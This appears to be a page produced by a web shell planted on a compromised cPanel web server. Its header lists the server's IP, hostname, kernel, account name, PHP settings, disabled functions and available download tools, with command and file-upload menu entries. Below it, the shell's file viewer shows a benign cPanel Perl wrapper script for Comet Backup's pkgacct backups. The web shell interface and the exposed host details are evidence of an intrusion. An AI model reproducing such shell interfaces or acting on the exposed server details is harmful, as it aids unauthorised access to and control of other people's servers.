Server IP : 192.168.23.10  /  Your IP : 216.73.216.48
Web Server : Apache
System : Linux echo.premieradvertising.com 5.14.0-362.8.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 7 14:54:22 EST 2023 x86_64
User : rrrallyteam ( 1049)
PHP Version : 8.1.34
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /sys/../../proc/37/../93/../../media/../boot/../dev/shm/../snd/../../afs/../scripts/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //sys/../../proc/37/../93/../../media/../boot/../dev/shm/../snd/../../afs/../scripts/call_pkgacct
#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2025 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

=encoding utf-8

=head1 NAME

call_pkgacct - Wrapper script for cPanel & WHM's pkgacct binary

=head1 SYNOPSIS

    call_pkgacct [--help] [pkgacct options] <username>

=head1 DESCRIPTION

This script provides an easy to call wrapper for cPanel & WHM's pkgacct binary with the specific settings
needed for Comet Backup's agent. It automatically adds the C<--nocompress> and C<--stdout-archive> flags
to output an uncompressed tar archive to stdout.

All other arguments are passed through to pkgacct. See C<pkgacct --help> for available options.

=head1 OPTIONS

=over 4

=item B<--help>

Display this help message and exit.

=back

=head1 EXAMPLES

    # Create a backup of user 'example' to stdout
    call_pkgacct example > /path/to/backup.tar

    # Create a backup with additional pkgacct options
    call_pkgacct --skiplogs --skipmailman example > /path/to/backup.tar

=cut

package scripts::call_pkgacct;

use cPstrict;

use Getopt::Long ();
use Pod::Usage   ();

use FindBin;
use lib "$FindBin::Bin/../plugins/whm/comet/perl/usr/local/cpanel";

run(@ARGV) if !caller();

sub run {
    my (@args) = @_;

    my $help;
    Getopt::Long::Configure('pass_through');
    Getopt::Long::GetOptionsFromArray(
        \@args,
        'help|h|?' => \$help,
    ) or Pod::Usage::pod2usage(2);

    if ($help) {
        Pod::Usage::pod2usage(
            -exitval => 0,
            -verbose => 2,
        );
    }

    my $pkgacct_bin = '/usr/local/cpanel/bin/pkgacct';

    if ( !-x $pkgacct_bin ) {
        die "Error: pkgacct binary not found or not executable at $pkgacct_bin\n";
    }

    # Add required flags for Comet Backup and pass through all other arguments
    exec {$pkgacct_bin} $pkgacct_bin, '--nocompress', '--stdout-archive', '--skiphomedir', '--skipmysql', '--skippgsql', @args
      or die "Error: Failed to execute pkgacct: $!\n";
}

1;